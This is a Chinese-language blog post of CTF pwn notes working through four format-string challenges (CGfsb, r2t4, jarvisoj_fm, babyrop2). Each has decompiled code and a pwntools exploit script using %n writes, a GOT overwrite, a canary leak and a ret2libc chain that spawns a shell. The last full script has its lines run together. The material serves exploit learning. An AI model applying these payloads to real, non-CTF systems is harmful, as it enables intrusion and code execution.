pwn刷题笔记(格式化字符串)

发布时间 2023-04-30 23:33:20作者: summer14

攻防世界:CGfsb

checksec查看保护机制,开启了NX和Canary,32位ELF。

反汇编代码如下:

int main(){
    char buf[0x7E - 0x76];  ebp-7E
    short int anonymous_0;  ebp-76
    char s[0x74 - 0x10];    ebp-74
    int anonymous_1;        ebp-10
    anonymous_1 = gs:14h    //gs:14是内存地址,存储Canary保护的随机值
    buf[0] = 0;
    anonymous_0 = 0;
    puts("please tell me your name:");
    read(0, buf, 0x0A);
    puts("leave your message please:");
    fgets(s, 0x64, stdin);
    printf("hello %s", buf);
    puts("your message is:");
    printf(s);
    if (ds:pwnme == 8){
        puts("you pwned me, here is your flag:\n");
        system("cat flag");
    }
    else{
        puts("Thank you!");
    }
    return 0;
}

存在字符串格式化漏洞。

输入的字符串(“aaaa”)是第十个格式化参数。

  

根据反汇编代码,当内存地址ds:pwnme中的值为8时,程序输出flag。

格式化字符串"%10$n"将已经输出的字符数写入到第十个参数地址。如果第十个参数是ds:pwnme,就可以修改内存地址ds:pwnme的值。

ds:pwnme的地址可在ida中查看,为0x804A068。

利用脚本如下:

#!/usr/bin/env python3

from pwn import *

io = process("cgfsb")

io.sendlineafter("please tell me your name:", b"hacker")
payload = p32(0x804A068) + b"aaaa" + b"%10$n"         #p32(0x804A068)共4个字节,所以需要再添加4个字节才正好向内存地址写入8
io.recvuntil("leave your message please:")
io.sendline(payload)
print(io.recvall())

 

[BJDCTF 2nd]r2t4

checksec检查,64位ELF,开启了NX和Canary。

反汇编代码:

int main(){
    char buf[0x30 - 0x08];
    char var_8[8];
    var_8 = fs:28h;     //Canary保护的随机数
    read(0, buf, 0x38);
    printf(buf);
    if(var_8 ^ fs:28h != 0)
        stack_chk_fail();
    return 0;
}

后门函数system("cat flag");入口地址0x400626

  

解析:

1、buf缓冲区可以溢出8个字节。

2、如果buf缓冲区发生溢出,Canary保护的值会被破坏,程序调用stack_chk_fail()函数。

3、printf(buf)函数存在格式化字符串漏洞,利用漏洞把stack_chk_fail()函数的got表地址改成后门函数地址。再故意破坏Canary,就能执行后门函数。

read()函数读取的字符串“aaaaaaaa”是第六个格式化参数

  

编写脚本

#!/usr/bin/env python3

from pwn import *

io = process("./r2t4")
elf = ELF("./r2t4")

scf_got = elf.got["__stack_chk_fail"]

payload = b"%64c%9$hn%1510c%10$hnaaa" + p64(scf_got+2) + p64(scf_got)
io.sendline(payload)
print(io.recvall())

payload解释:

后门函数的地址为0x400626
%64c :输出64个字符,64=0x0040
%9$hn : 9$对应p64(scf_got + 2) ,将前面输出的字符数(0x40)写入9$这个地址,写入高两字节。
%1510c :输出1510个字符,64+1510=0x0626
%10$hn:10$对应p64(scf_got),将前面输出的字符数(0x0626)写入10$这个地址,写入低两字节。
aaa :使栈8字节对齐,以及用来拼凑字数,使缓冲区溢出。

 

jarvisoj_fm

checksec检查,开启了NX、Canary,32位ELF。

反汇编代码:

int x=3;
int main(){
    char buf[0x5C];
    read(0, buf, 0x50);
    printf(buf);
    printf("%d", x);
    if(x == 4){
        puts("running sh...");
        system("/bin/sh");
    }
    if([esp+7Ch] != gs:14h){        //检查Canary
        stack_chk_fail();
    }    
    return 0;
}

全局变量x存储在内存地址0x0804A02C

  

printf(buf)函数存在格式化字符串漏洞,利用漏洞修改x的值为4

输入字符串"aaaa"是第11个格式化参数

  

 写出脚本

#!/usr/bin/env python3

from pwn import *

io = remote("node4.buuoj.cn", 28925)

payload = p32(0x804A02C) + b"%11$n"       //p32(0x804A02C)四个字节,向地址0x804A02C写入4
io.sendline(payload)
io.interactive()

 

bjdctf_2020_babyrop2

checksec查看保护,开启了NX、Canary,64位ELF。

反汇编代码:

int main(){
    int *var_8;
    init();
    gift();
    vuln();
    检查Canary
    return 0;
}

init(){
    puts("Can u return to libc ?");
    puts("Try u best!");
    检查Canary
}

gift(){
    char format[0x10 - 0x8];
    int *var_8;
    puts("I'll give u some gift to help u!");
    scanf("%6s", format);
    printf(format);
    puts(3);
    检查Canary
    return
}

vuln(){
    char buf[0x20 - 0x8];
    int *var_8;
    puts("Pull up your sword and tell me u story!");
    read(0, buf, 0x64);
    检查Canary
    return
}

解析:

  gift函数存在格式化字符串漏洞,vuln函数存在缓冲区溢出漏洞。

  利用格式化字符串漏洞泄露Canary,带上Canary执行缓冲区溢出攻击。

找到Canary是第几个格式化参数

gdb执行到gift函数的scanf()部分,输入"aaaaaaaa"。继续执行到printf函数之前,查看此时栈的情况可知Canary(地址为0x7fffffffdf48)需要出栈两次得到。

  

由此可知Canary是格式化字符串的第7个(5个寄存器+2次出栈)格式化参数。

验证:

  

  

  

利用缓冲区溢出泄露puts函数真实地址

payload

payload = b'a' * 24 + p64(canary) + b'a' * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)

计算出system函数真实地址以及字符串“/bin/sh”真实地址

libc = LibcSearcher("puts", puts_addr)       //选择libc版本,笔者在ubuntu20.04上选择了0,后面的system函数成功执行
offset = puts_addr - libc.dump("puts")
system_addr = offset + libc.dump("system")
binsh_addr = offset + libc.dump("str_bin_sh")
print(f'{offset}  {system_addr}  {binsh_addr}')

  

利用缓冲区溢出执行system("/bin/sh")

payload = b'a' * 24 + p64(canary) + b'a' * 8 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
io.sendlineafter("Pull up your sword and tell me u story!", payload)
io.interactive()

完整脚本

#!/usr/bin/env python3

from pwn import *
from LibcSearcher import *

io = remote("node4.buuoj.cn", 27550)
elf = ELF("./bjdctf_2020_babyrop2")

#泄露canary payload
= "%7$p" io.recvuntil("I'll give u some gift to help u!") io.sendline(payload) io.recvline() rev = io.recvline()[2:-1].decode() canary = int(rev, 16) print(f"Canary: {canary}")
#泄露puts函数真实地址 pop_rdi
= 0x400993 puts_got = elf.got["puts"] puts_plt = elf.plt["puts"] vuln_addr = elf.symbols["vuln"] payload = b'a' * 24 + p64(canary) + b'a' * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr) io.sendlineafter("Pull up your sword and tell me u story!", payload) io.recvline() puts_addr = u64(io.recv().ljust(8, b'\x00')) print(puts_addr)
#计算system函数、“/bin/sh”字符串真实地址 libc
= LibcSearcher("puts", puts_addr) offset = puts_addr - libc.dump("puts") system_addr = offset + libc.dump("system") binsh_addr = offset + libc.dump("str_bin_sh") print(f'{offset} {system_addr} {binsh_addr}')
#执行system("/bin/sh") payload
= b'a' * 24 + p64(canary) + b'a' * 8 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) io.sendlineafter("Pull up your sword and tell me u story!", payload) io.interactive()